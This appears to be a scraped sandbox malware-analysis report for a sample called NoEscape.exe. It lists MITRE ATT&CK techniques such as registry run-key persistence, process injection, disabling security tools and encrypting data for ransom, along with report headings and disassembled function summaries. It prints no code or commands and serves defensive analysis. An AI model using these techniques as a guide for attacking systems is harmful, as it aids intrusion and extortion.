API ID: CloseCreateHandleSleepSnapshotToolhelp32
String ID: NoEscape.exe
API String ID: 1365797859-764170641
Opcode ID: 2e47e90fe45366dee8ccac3d0aa844fad3dc34f510775c93577a9f476299a1fe
Instruction ID: a8e0483ccb7bba0ff33feb85fb99cbbc0e1a6e51e52c96fbc4f8697bfc610322
Opcode Fuzzy Hash: 2e47e90fe45366dee8ccac3d0aa844fad3dc34f510775c93577a9f476299a1fe
Instruction Fuzzy Hash: 13515175A016199BDB20DF65DD88BAAB7B4FF88310F1001FAE909B72A0DB745E80CF44

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	API monitoring, MBR, VBR
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. Within MFT entries are file attributes, such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report NoEscape.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Spreading:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted IPs

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: NoEscape.exe PID: 5904 Parent PID: 6048

General

Chronological Activities

Disassembly

Code Analysis

Function 00401BC0, Relevance: 375.9, APIs: 153, Strings: 61, Instructions: 1433
registrymemorystringCOMMONCrypto

Function 00401830, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 113
stringmemoryfileCOMMON

Function 004015C0, Relevance: 12.1, APIs: 8, Instructions: 81
fileCOMMON

Function 004045E9, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Function 00401BA2, Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 150
memorywindowCOMMON

Function 00404BE1, Relevance: 9.1, APIs: 6, Instructions: 65
libraryloaderCOMMON

Function 00404BA2, Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Function 00404BFE, Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Function 004040BB, Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Function 004038A0, Relevance: 119.4, APIs: 49, Strings: 19, Instructions: 401
memorystringwindowCOMMON

Function 004019C0, Relevance: 16.6, APIs: 11, Instructions: 148
nativewindowCOMMON

Function 004019E0, Relevance: 16.6, APIs: 11, Instructions: 129
nativewindowCOMMON

Function 00404858, Relevance: 1.6, APIs: 1, Instructions: 144
COMMON

Function 004035F0, Relevance: 43.9, APIs: 19, Strings: 6, Instructions: 192
registrymemorysleepCOMMON

Function 004010E0, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 118
stringmemoryprocessCOMMON

Function 00403540, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 62
stringCOMMON

Function 00403420, Relevance: 15.1, APIs: 10, Instructions: 92
windowsleepCOMMON

Function 004014B0, Relevance: 12.1, APIs: 8, Instructions: 96
processstringsynchronizationCOMMON

Function 00401750, Relevance: 9.1, APIs: 6, Instructions: 78
registrymemoryCOMMON

Description:	Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.
Tactics:	Impact
Data Sources:	Packet capture, Packet capture, Web application firewall logs, Web logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre